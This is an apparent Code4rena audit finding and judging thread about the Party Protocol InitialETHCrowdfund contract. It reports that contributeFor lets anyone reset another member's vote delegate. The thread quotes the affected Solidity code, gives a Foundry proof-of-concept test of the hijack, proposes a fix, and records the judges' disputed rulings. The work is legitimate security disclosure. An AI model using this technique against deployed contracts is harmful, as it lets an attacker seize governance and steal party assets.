contributeFor, batchContributeFor - attacker can delegate someone else's vote freely

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235-L249
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L302
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L255-L273

Vulnerability details

Impact

Attacker can freely delegate other people's votes. Attacker can delegate votes without the user's knowledge. In the worst case, attacker delegate all votes and execute proposal immediately by unanimous vote. Then the attacker can be the Authority, steal assets, or crash the party.

Proof of Concept

If the attacker calls contributeFor or batchContributeFor, attacker can delegate votes of any user.

function contributeFor(
    uint256 tokenId,
    address payable recipient,
    address initialDelegate,
    bytes memory gateData
) external payable onlyDelegateCall returns (uint96 votingPower) {
    return
        _contribute(
            recipient,
@>          initialDelegate,
            msg.value.safeCastUint256ToUint96(),
            tokenId,
            gateData
        );
}

function batchContributeFor(
    BatchContributeForArgs calldata args
) external payable onlyDelegateCall returns (uint96[] memory votingPowers) {
    votingPowers = new uint96[](args.recipients.length);
    uint256 valuesSum;
    for (uint256 i; i < args.recipients.length; ++i) {
@>      votingPowers[i] = _contribute(
            args.recipients[i],
@>          args.initialDelegates[i],
            args.values[i],
            args.tokenIds[i],
            args.gateDatas[i]
        );
        valuesSum += args.values[i];
    }
    if (msg.value != valuesSum) {
        revert InvalidMessageValue();
    }
}

function _contribute(
    address payable contributor,
    address delegate,
    uint96 amount,
    uint256 tokenId,
    bytes memory gateData
) private returns (uint96 votingPower) {
    // Require a non-null delegate.
    if (delegate == address(0)) {
        revert InvalidDelegateError();
    }

    ...

@>  votingPower = _processContribution(contributor, delegate, amount);

    // OK to contribute with zero just to update delegate.
    if (amount == 0) return 0;

    if (tokenId == 0) {
        // Mint contributor a new party card.
@>      party.mint(contributor, votingPower, delegate);
    } else if (disableContributingForExistingCard) {
        revert ContributingForExistingCardDisabledError();
    } else if (party.ownerOf(tokenId) == contributor) {
        // Increase voting power of contributor's existing party card.
        party.increaseVotingPower(tokenId, votingPower);
    } else {
        revert NotOwnerError(tokenId);
    }
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L235

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L255

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/InitialETHCrowdfund.sol#L275

In the _processContribution function, if msg.sender is not the contributor, it keep delegationsByContributor as old value. But since the InitialETHCrowndfund contract does not use the delegationsByContributor , vote delegation to delegate is not prevented.

function _processContribution(
    address payable contributor,
    address delegate,
    uint96 amount
) internal returns (uint96 votingPower) {
    address oldDelegate = delegationsByContributor[contributor];
    if (msg.sender == contributor || oldDelegate == address(0)) {
        // Update delegate.
        delegationsByContributor[contributor] = delegate;
    } else {
        // Prevent changing another's delegate if already delegated.
        delegate = oldDelegate;
    }
    ...
}

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208

This is PoC code. Add it to InitialEThCrowdfund.t.sol and run it.

function test_contributeFor_doesUpdateExistingDelegation_PoC() public {
  InitialETHCrowdfund crowdfund = _createCrowdfund(
      CreateCrowdfundArgs({
          initialContribution: 0,
          initialContributor: payable(address(0)),
          initialDelegate: address(0),
          minContributions: 0,
          maxContributions: type(uint96).max,
          disableContributingForExistingCard: false,
          minTotalContributions: 3 ether,
          maxTotalContributions: 5 ether,
          duration: 7 days,
          exchangeRateBps: 1e4,
          fundingSplitBps: 0,
          fundingSplitRecipient: payable(address(0)),
          gateKeeper: IGateKeeper(address(0)),
          gateKeeperId: bytes12(0)
      })
  );
  crowdfund.party();

  address member = _randomAddress();
  address payable recipient = _randomAddress();
  address delegate = _randomAddress();
  vm.deal(member, 1 ether);

  // Contribute to set initial delegation
  vm.prank(recipient);
  vm.expectEmit(true, false, false, true);
  emit Contributed(recipient, recipient, 0, recipient);
  crowdfund.contribute(recipient, "");

  // Contribute to try update delegation (should not work)
  vm.prank(member);
  vm.expectEmit(true, false, false, true);
  emit Contributed(member, recipient, 1 ether, recipient);
  crowdfund.contributeFor{ value: 1 ether }(0, recipient, delegate, "");

  Party party = crowdfund.party();
  // All recipient's votes are delegated
  assertEq(party.delegationsByVoter(recipient), delegate);
  assertEq(party.getVotingPowerAt(delegate, uint40(block.timestamp)), 1 ether);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Use delegationsByContributor at _contribute

function _contribute(
    address payable contributor,
    address delegate,
    uint96 amount,
    uint256 tokenId,
    bytes memory gateData
) private returns (uint96 votingPower) {
    // Require a non-null delegate.
    if (delegate == address(0)) {
        revert InvalidDelegateError();
    }

    ...

    votingPower = _processContribution(contributor, delegate, amount);

    // OK to contribute with zero just to update delegate.
    if (amount == 0) return 0;

    if (tokenId == 0) {
        // Mint contributor a new party card.
-       party.mint(contributor, votingPower, delegate);
+       party.mint(contributor, votingPower, delegationsByContributor[contributor]);
    } else if (disableContributingForExistingCard) {
        revert ContributingForExistingCardDisabledError();
    } else if (party.ownerOf(tokenId) == contributor) {
        // Increase voting power of contributor's existing party card.
        party.increaseVotingPower(tokenId, votingPower);
    } else {
        revert NotOwnerError(tokenId);
    }
}

Assessed type

Other

[ydspa]

Intended design choice, only initial delegate (i.e. zero voting power account) could be set by others, doing this attack means giving free ETH to others, negative financial incentive.

File: contracts\crowdfund\ETHCrowdfundBase.sol
201:         address oldDelegate = delegationsByContributor[contributor];
202:         if (msg.sender == contributor || oldDelegate == address(0)) {
203:             // Update delegate.
204:             delegationsByContributor[contributor] = delegate;
205:         } else {
206:             // Prevent changing another's delegate if already delegated.
207:             delegate = oldDelegate;
208:         }

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory:
Invalid

[klau5dev]

hello @gzeon-c4
I think this it not intended design(or wrongly implemented)
The intended design is only initial delegate (i.e. zero voting power account) could be set by others, but the code does not stop resetting delegator.

@ydspa claimed _processContribution limits only the initial delegator to be set in , but the mint function that actually delegates votes does not use delegationsByContributor. If you want to not change old delegator, you should use delegationsByContributor when calling mint.

  function _contribute(
      address payable contributor,
      address delegate,
      uint96 amount,
      uint256 tokenId,
      bytes memory gateData
  ) private returns (uint96 votingPower) {
      // Require a non-null delegate.
      if (delegate == address(0)) {
          revert InvalidDelegateError();
      }
  
      ...
  
  @>  votingPower = _processContribution(contributor, delegate, amount);
  
      // OK to contribute with zero just to update delegate.
      if (amount == 0) return 0;
  
      if (tokenId == 0) {
          // Mint contributor a new party card.
  @>      party.mint(contributor, votingPower, delegate);
      } else if (disableContributingForExistingCard) {
          revert ContributingForExistingCardDisabledError();
      } else if (party.ownerOf(tokenId) == contributor) {
          // Increase voting power of contributor's existing party card.
          party.increaseVotingPower(tokenId, votingPower);
      } else {
          revert NotOwnerError(tokenId);
      }
  }

    function _processContribution(
        address payable contributor,
        address delegate,
        uint96 amount
    ) internal returns (uint96 votingPower) {
        address oldDelegate = delegationsByContributor[contributor];
        if (msg.sender == contributor || oldDelegate == address(0)) {
            // Update delegate.
@>          delegationsByContributor[contributor] = delegate;
        } else {
            // Prevent changing another's delegate if already delegated.
            delegate = oldDelegate;
        }

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L201-L208

So, the delegator can be reset by attacker.

The PoC code is the variation of test_contributeFor_doesNotUpdateExistingDelegation test at InitialETHCrowdfund.t.sol. This test is is wrongly written because this test does not check actual delegator, but just check delegationsByContributor.

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/test/crowdfund/InitialETHCrowdfund.t.sol#L940-L979

[c4-judge]

gzeon-c4 marked the issue as duplicate of #311

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 changed the severity to 2 (Med Risk)

[c4-judge]

gzeon-c4 marked the issue as duplicate of #418